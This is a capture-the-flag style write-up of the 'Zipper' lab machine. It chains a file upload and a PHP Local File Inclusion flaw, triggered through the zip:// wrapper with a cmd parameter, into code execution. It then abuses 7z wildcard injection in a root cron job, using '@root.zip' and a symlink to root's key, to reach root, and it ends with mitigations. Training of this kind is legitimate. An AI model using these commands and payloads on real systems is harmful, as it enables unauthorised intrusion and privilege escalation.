Zipper

Introduction

In this guide, I exploited a vulnerable file upload feature in combination with a Local File Inclusion (LFI) vulnerability to upload a crafted malicious .php file and access it using zip:// wrapper. This allowed me to gain an initial foothold on the target system. Upon further enumeration, I discovered a cron job where 7z processes .zip files using a wildcard. I leveraged this behavior to trigger an arbitrary file read through wildcard injection, ultimately escalating my privileges and gaining root access.

Nmap

TCP

Run a quick Nmap TCP scan:

sudo nmap -sV $IP --open

UDP

Check top 100 UDP ports:

sudo nmap -sU -F $IP

Full Port Scan

sudo nmap -sV -sC -p- $IP -Pn -n -v --open

Services

Port 22

Version - OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

We usually skip SSH.

Web

Port 80

Version - Apache httpd 2.4.41 ((Ubuntu))

Gobuster Scan

gobuster dir -u http://$IP/ -w /usr/share/wordlists/dirb/common.txt -t 30 -b 400,403,404

Exploitation

Before uploading anything let’s try to perform LFI:

I performed fuzzing the parameter with ffuf:

1. Intercept the request and put FUZZ keyword in appropriate place

   

2. Right click and copy file to somewhere

3. run

    ffuf -request lfi-request -request-proto http -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -ac
   

But nothing returned here.

I tried uploading .php files and after zipping them run the code inside of it with zip:// scheme but it didn’t succeed. We can find the location of uploaded zip file just hovering over appeared button for downloading it.

http://192.168.169.229/index.php?file=zip://uploads/upload_1748598468%23shell.php&cmd=id

It didn’t work, I am gonna try with reverse shell too and then shift to other method.

I am gonna check if we can abuse PHP wrappers. To use PHP wrapper streams, we can use the php:// scheme in our string, and we can access the PHP filter wrapper with php://filter/.

General form of it: php://filter/read=convert.base64-encode/resource=<php-file>

Standard PHP Inclusion

When .php files are included they are executed first and then get rendered as normal HTML page.

Source Code Disclosure

php://filter/read=convert.base64-encode/resource=config

Let’s try to read index.php:

Now decode base64-encoded string.

<?php
$file = $_GET['file'];
if(isset($file))
{
    include("$file".".php");
}
else
{
include("home.php");
}
?>

It seems php file appends extension to uploaded files, there are bypass methods like Path Truncation and Null Byte Injection for this, but they are mostly for outdated versions of php, otherwise we are restricted including and consequently (using PHP wrappers) reading PHP files.

I am gonna use zip:// scheme again without .php extension appended at the end as it will append it itself.

We can also check phpinfo():

<?php phpinfo() ?>

http://192.168.169.229/index.php?file=zip://uploads/upload_1748601710.zip%23phpinfo

That’s it it works.

There are other PHP Wrappers like data, expect, input but they all require allow_url_include be on or expect extension to be set for expect wrapper .

PHP wrappers and streams

Now I am gonna use reverse shell.

Now I have a shell.

Let’s make it interactive using python.

python3 -c 'import pty; pty.spawn("/bin/bash")'

Privilege Escalation

Checking for other users I don’t find anyone.

• OSCP Checklist
  • Situational awareness
  • Exposed Confidential Information
  • Password Authentication Abuse
  • Hunting Sensitive Information
  • Sudo
  • SUID/SGID
  • Capabilities
  • Cron Jobs Abuse
  • Kernel Exploits
  • Check if sudoers file is writable
  • Try credentials you already obtained for various services admin roles
  • Check running processes using pspy

Checking for cron jobs I found:

cat /etc/crontab

/usr/lib/p7zip/7za a /opt/backups/backup.zip -p****************** -tzip @enox.zip 
enox.zip upload_1628773085.zip upload_1748597552.zip upload_1748597665.zip upload_1748597713.zip upload_1748597763.zip upload_1748597805.zip upload_1748597826.zip upload_1748598100.zip upload_1748598468.zip upload_1748600607.zip upload_1748600752.zip upload_1748601063.zip upload_1748601710.zip upload_1748601920.zip

#!/bin/bash
password=`cat /root/secret`
cd /var/www/html/uploads
rm *.tmp
7za a /opt/backups/backup.zip -p$password -tzip *.zip > /opt/backups/backup.log

7zip is executed with a wildcard, I found the following page in HackTricks on how to abuse it:

wildcards-spare-tricks-7z

I am gonna create root.zip pointing to /root/.ssh/id_rsa to read root’s private key, and that log will be recorded in: /opt/backups/backup.log

touch @root.zip
ln -s /root/.ssh/id_rsa root.zip

I couldn’t see private key, but analysing a directory I already see as if someone already performed abuse and put symlink to /root/secret.

Reading /opt/backups/backup.log I can see used password:

I used same password for changing to root user I succeeded.

Mitigation

• Sanitize and validate all user-uploaded files, restricting file types and enforcing secure file handling.
• Avoid using wildcards in cron jobs, especially with writable directories or user-supplied files.
• Implement proper permissions and separation for scheduled tasks.
• Monitor cron job behavior and log execution details to detect abuse.
• Regularly audit file upload endpoints for LFI or arbitrary write vulnerabilities.